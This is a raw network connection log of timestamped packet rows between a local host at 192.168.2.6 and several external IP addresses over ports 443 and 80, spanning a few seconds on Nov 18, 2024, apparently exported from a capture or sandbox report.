Nov 18, 2024 00:27:44.858144045 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:44.865103960 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:44.865147114 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:44.870141029 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:44.870155096 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:44.870170116 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:44.870187998 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:45.119863987 CET	443	49882	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:45.121112108 CET	49882	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:45.121138096 CET	443	49882	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:45.122622013 CET	49882	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:45.122629881 CET	443	49882	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:45.125042915 CET	443	49879	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:45.125855923 CET	49879	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:45.125880957 CET	443	49879	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:45.126570940 CET	49879	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:45.126575947 CET	443	49879	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:45.133512974 CET	443	49883	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:45.134649992 CET	49883	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:45.134660959 CET	443	49883	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:45.135447025 CET	49883	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:45.135452032 CET	443	49883	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:45.140836954 CET	443	49884	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:45.142029047 CET	49884	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:45.142054081 CET	443	49884	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:45.142611980 CET	49884	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:45.142618895 CET	443	49884	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:45.252613068 CET	443	49882	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:45.252744913 CET	443	49882	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:45.252799034 CET	49882	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:45.262222052 CET	443	49879	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:45.262382030 CET	443	49879	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:45.262459040 CET	49879	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:45.265990019 CET	443	49883	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:45.266076088 CET	443	49883	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:45.266149998 CET	49883	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:45.270112991 CET	49882	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:45.270134926 CET	443	49882	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:45.270148039 CET	49882	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:45.270153046 CET	443	49882	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:45.272696018 CET	49879	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:45.272711039 CET	443	49879	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:45.272741079 CET	49879	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:45.272747040 CET	443	49879	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:45.273097038 CET	49883	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:45.273112059 CET	443	49883	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:45.273123026 CET	49883	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:45.273128986 CET	443	49883	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:45.275239944 CET	443	49884	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:45.275265932 CET	443	49884	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:45.275304079 CET	443	49884	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:45.275316954 CET	49884	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:45.275340080 CET	49884	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:45.277853012 CET	49884	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:45.277865887 CET	443	49884	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:45.277880907 CET	49884	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:45.277889013 CET	443	49884	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:45.280797005 CET	49891	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:45.280833960 CET	443	49891	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:45.280900955 CET	49891	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:45.281578064 CET	49892	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:45.281644106 CET	443	49892	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:45.282021999 CET	49892	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:45.286786079 CET	49891	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:45.286803007 CET	443	49891	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:45.287763119 CET	49892	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:45.287802935 CET	443	49892	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:45.288073063 CET	49893	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:45.288105011 CET	443	49893	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:45.288341045 CET	49893	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:45.288489103 CET	49893	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:45.288499117 CET	443	49893	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:45.292160988 CET	49894	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:45.292192936 CET	443	49894	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:45.292282104 CET	49894	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:45.358454943 CET	49894	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:45.358484983 CET	443	49894	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:45.383047104 CET	443	49886	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:45.403832912 CET	49886	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:45.403846025 CET	443	49886	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:45.413397074 CET	49886	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:45.413414955 CET	443	49886	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:45.548172951 CET	443	49886	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:45.548286915 CET	443	49886	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:45.548336983 CET	49886	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:45.548340082 CET	443	49886	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:45.548401117 CET	49886	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:45.990417957 CET	49886	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:45.990444899 CET	443	49886	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:45.990468979 CET	49886	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:45.990477085 CET	443	49886	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:46.012449026 CET	49898	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:46.012480974 CET	443	49898	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:46.012622118 CET	49898	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:46.020261049 CET	443	49891	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:46.022834063 CET	443	49893	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:46.025799990 CET	443	49892	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:46.067775011 CET	49898	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:46.067787886 CET	443	49898	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:46.068556070 CET	49891	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:46.068583965 CET	443	49891	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:46.069190025 CET	49891	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:46.069196939 CET	443	49891	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:46.069664001 CET	49893	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:46.069684982 CET	443	49893	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:46.070388079 CET	49893	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:46.070394039 CET	443	49893	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:46.070781946 CET	49892	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:46.070808887 CET	443	49892	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:46.071439981 CET	49892	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:46.071446896 CET	443	49892	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:46.102530956 CET	443	49894	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:46.155896902 CET	49894	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:46.187571049 CET	49894	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:46.187577009 CET	443	49894	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:46.188122988 CET	49894	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:46.188129902 CET	443	49894	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:46.198057890 CET	443	49893	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:46.198127031 CET	443	49893	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:46.198178053 CET	49893	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:46.198388100 CET	443	49892	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:46.198472977 CET	443	49892	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:46.198522091 CET	49892	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:46.208523035 CET	49893	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:46.208545923 CET	443	49893	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:46.208556890 CET	49893	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:46.208564043 CET	443	49893	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:46.217650890 CET	443	49891	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:46.217745066 CET	443	49891	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:46.217914104 CET	49891	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:46.227718115 CET	49891	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:46.227737904 CET	443	49891	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:46.227752924 CET	49891	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:46.227760077 CET	443	49891	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:46.237529039 CET	49892	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:46.237543106 CET	443	49892	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:46.237562895 CET	49892	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:46.237567902 CET	443	49892	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:46.247140884 CET	49905	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:46.247160912 CET	443	49905	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:46.247226000 CET	49905	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:46.247984886 CET	49905	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:46.247997999 CET	443	49905	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:46.251096010 CET	49906	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:46.251107931 CET	443	49906	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:46.251194954 CET	49906	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:46.251388073 CET	49906	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:46.251399040 CET	443	49906	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:46.252651930 CET	49907	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:46.252660990 CET	443	49907	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:46.252760887 CET	49907	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:46.252887011 CET	49907	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:46.252897024 CET	443	49907	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:46.261321068 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:46.261406898 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:46.264830112 CET	49908	443	192.168.2.6	18.244.18.38
Nov 18, 2024 00:27:46.264869928 CET	443	49908	18.244.18.38	192.168.2.6
Nov 18, 2024 00:27:46.265101910 CET	49908	443	192.168.2.6	18.244.18.38
Nov 18, 2024 00:27:46.265568972 CET	49908	443	192.168.2.6	18.244.18.38
Nov 18, 2024 00:27:46.265599012 CET	443	49908	18.244.18.38	192.168.2.6
Nov 18, 2024 00:27:46.316471100 CET	443	49894	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:46.316494942 CET	443	49894	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:46.316565990 CET	443	49894	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:46.316621065 CET	49894	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:46.331862926 CET	49894	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:46.331888914 CET	443	49894	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:46.331902981 CET	49894	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:46.331908941 CET	443	49894	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:46.524310112 CET	49915	443	192.168.2.6	142.250.184.193
Nov 18, 2024 00:27:46.524338961 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:46.524396896 CET	49915	443	192.168.2.6	142.250.184.193
Nov 18, 2024 00:27:46.524693012 CET	49915	443	192.168.2.6	142.250.184.193
Nov 18, 2024 00:27:46.524704933 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:46.540599108 CET	49916	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:46.540635109 CET	443	49916	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:46.540698051 CET	49916	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:46.545026064 CET	49916	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:46.545041084 CET	443	49916	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:46.560045958 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:46.566735029 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:46.815948963 CET	443	49898	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:46.816874981 CET	49898	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:46.816896915 CET	443	49898	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:46.817825079 CET	49898	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:46.817831993 CET	443	49898	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:46.954046965 CET	443	49898	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:46.954144001 CET	443	49898	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:46.954202890 CET	49898	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:46.954626083 CET	49898	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:46.954636097 CET	443	49898	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:46.954646111 CET	49898	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:46.954651117 CET	443	49898	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:46.969248056 CET	49918	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:46.969285011 CET	443	49918	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:46.969340086 CET	49918	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:46.969572067 CET	49918	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:46.969579935 CET	443	49918	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:46.973922968 CET	443	49907	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:46.974349022 CET	49907	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:46.974366903 CET	443	49907	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:46.974978924 CET	49907	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:46.974983931 CET	443	49907	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:46.979609966 CET	443	49905	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:46.980312109 CET	49905	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:46.980334997 CET	443	49905	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:46.982191086 CET	49905	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:46.982203007 CET	443	49905	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:46.985230923 CET	443	49906	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:46.985661983 CET	49906	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:46.985676050 CET	443	49906	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:46.986059904 CET	49906	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:46.986064911 CET	443	49906	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:46.991261005 CET	49919	443	192.168.2.6	162.159.61.3
Nov 18, 2024 00:27:46.991293907 CET	443	49919	162.159.61.3	192.168.2.6
Nov 18, 2024 00:27:46.991353035 CET	49919	443	192.168.2.6	162.159.61.3
Nov 18, 2024 00:27:46.991725922 CET	49919	443	192.168.2.6	162.159.61.3
Nov 18, 2024 00:27:46.991739035 CET	443	49919	162.159.61.3	192.168.2.6
Nov 18, 2024 00:27:46.992372036 CET	49920	443	192.168.2.6	172.64.41.3
Nov 18, 2024 00:27:46.992399931 CET	443	49920	172.64.41.3	192.168.2.6
Nov 18, 2024 00:27:46.992448092 CET	49920	443	192.168.2.6	172.64.41.3
Nov 18, 2024 00:27:46.992782116 CET	49920	443	192.168.2.6	172.64.41.3
Nov 18, 2024 00:27:46.992796898 CET	443	49920	172.64.41.3	192.168.2.6
Nov 18, 2024 00:27:46.997927904 CET	49921	443	192.168.2.6	172.64.41.3
Nov 18, 2024 00:27:46.997951984 CET	443	49921	172.64.41.3	192.168.2.6
Nov 18, 2024 00:27:46.998004913 CET	49921	443	192.168.2.6	172.64.41.3
Nov 18, 2024 00:27:46.998609066 CET	49921	443	192.168.2.6	172.64.41.3
Nov 18, 2024 00:27:46.998621941 CET	443	49921	172.64.41.3	192.168.2.6
Nov 18, 2024 00:27:47.105462074 CET	443	49907	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:47.105700970 CET	443	49907	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:47.105745077 CET	443	49907	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:47.105746031 CET	49907	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:47.105789900 CET	49907	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:47.118232965 CET	443	49905	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:47.118388891 CET	443	49905	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:47.118429899 CET	49905	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:47.119375944 CET	443	49906	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:47.119769096 CET	443	49906	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:47.119812965 CET	49906	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:47.123248100 CET	443	49908	18.244.18.38	192.168.2.6
Nov 18, 2024 00:27:47.137940884 CET	49908	443	192.168.2.6	18.244.18.38
Nov 18, 2024 00:27:47.137959957 CET	443	49908	18.244.18.38	192.168.2.6
Nov 18, 2024 00:27:47.138319969 CET	49907	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:47.138345957 CET	443	49907	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:47.138356924 CET	49907	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:47.138362885 CET	443	49907	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:47.139045000 CET	443	49908	18.244.18.38	192.168.2.6
Nov 18, 2024 00:27:47.139107943 CET	49908	443	192.168.2.6	18.244.18.38
Nov 18, 2024 00:27:47.139508009 CET	49905	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:47.139513969 CET	443	49905	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:47.139523029 CET	49905	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:47.139525890 CET	443	49905	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:47.140930891 CET	49906	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:47.140944958 CET	443	49906	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:47.140954971 CET	49906	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:47.140960932 CET	443	49906	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:47.143337965 CET	49908	443	192.168.2.6	18.244.18.38
Nov 18, 2024 00:27:47.143405914 CET	443	49908	18.244.18.38	192.168.2.6
Nov 18, 2024 00:27:47.145329952 CET	49922	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:47.145351887 CET	443	49922	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:47.145409107 CET	49922	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:47.145893097 CET	49922	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:47.145914078 CET	443	49922	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:47.147480011 CET	49923	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:47.147500038 CET	443	49923	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:47.147557974 CET	49923	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:47.147672892 CET	49923	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:47.147685051 CET	443	49923	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:47.148664951 CET	49924	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:47.148701906 CET	443	49924	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:47.148797035 CET	49924	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:47.148930073 CET	49924	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:47.148947001 CET	443	49924	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:47.251853943 CET	49908	443	192.168.2.6	18.244.18.38
Nov 18, 2024 00:27:47.251866102 CET	443	49908	18.244.18.38	192.168.2.6
Nov 18, 2024 00:27:47.287986040 CET	443	49916	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:47.316760063 CET	49916	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:47.316777945 CET	443	49916	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:47.317584038 CET	49916	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:47.317589045 CET	443	49916	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:47.331603050 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:47.331662893 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:47.355300903 CET	49908	443	192.168.2.6	18.244.18.38
Nov 18, 2024 00:27:47.400778055 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:47.401052952 CET	49915	443	192.168.2.6	142.250.184.193
Nov 18, 2024 00:27:47.401067019 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:47.401784897 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:47.401812077 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:47.401854038 CET	49915	443	192.168.2.6	142.250.184.193
Nov 18, 2024 00:27:47.401860952 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:47.401895046 CET	49915	443	192.168.2.6	142.250.184.193
Nov 18, 2024 00:27:47.401915073 CET	49915	443	192.168.2.6	142.250.184.193
Nov 18, 2024 00:27:47.402806044 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:47.405015945 CET	49915	443	192.168.2.6	142.250.184.193
Nov 18, 2024 00:27:47.405225992 CET	49915	443	192.168.2.6	142.250.184.193
Nov 18, 2024 00:27:47.405236006 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:47.405330896 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:47.447510004 CET	443	49916	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:47.447591066 CET	443	49916	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:47.447818041 CET	49916	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:47.448753119 CET	49916	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:47.448765993 CET	443	49916	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:47.448796034 CET	49916	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:47.448801994 CET	443	49916	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:47.463007927 CET	49927	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:47.463044882 CET	443	49927	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:47.463130951 CET	49927	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:47.463710070 CET	49927	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:47.463727951 CET	443	49927	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:47.543479919 CET	49915	443	192.168.2.6	142.250.184.193
Nov 18, 2024 00:27:47.543498039 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:47.654139042 CET	49915	443	192.168.2.6	142.250.184.193
Nov 18, 2024 00:27:47.654778957 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:47.654835939 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:47.654901981 CET	49915	443	192.168.2.6	142.250.184.193
Nov 18, 2024 00:27:47.654915094 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:47.657092094 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:47.659593105 CET	49915	443	192.168.2.6	142.250.184.193
Nov 18, 2024 00:27:47.659600973 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:47.665707111 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:47.665781975 CET	49915	443	192.168.2.6	142.250.184.193
Nov 18, 2024 00:27:47.665791035 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:47.674526930 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:47.674710035 CET	49915	443	192.168.2.6	142.250.184.193
Nov 18, 2024 00:27:47.674717903 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:47.701692104 CET	443	49918	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:47.703104973 CET	49918	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:47.703123093 CET	443	49918	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:47.703706026 CET	49918	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:47.703711033 CET	443	49918	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:47.772227049 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:47.772298098 CET	49915	443	192.168.2.6	142.250.184.193
Nov 18, 2024 00:27:47.772316933 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:47.776418924 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:47.776464939 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:47.776490927 CET	49915	443	192.168.2.6	142.250.184.193
Nov 18, 2024 00:27:47.776501894 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:47.776555061 CET	49915	443	192.168.2.6	142.250.184.193
Nov 18, 2024 00:27:47.785054922 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:47.785356998 CET	443	49915	142.250.184.193	192.168.2.6
Nov 18, 2024 00:27:47.785407066 CET	49915	443	192.168.2.6	142.250.184.193
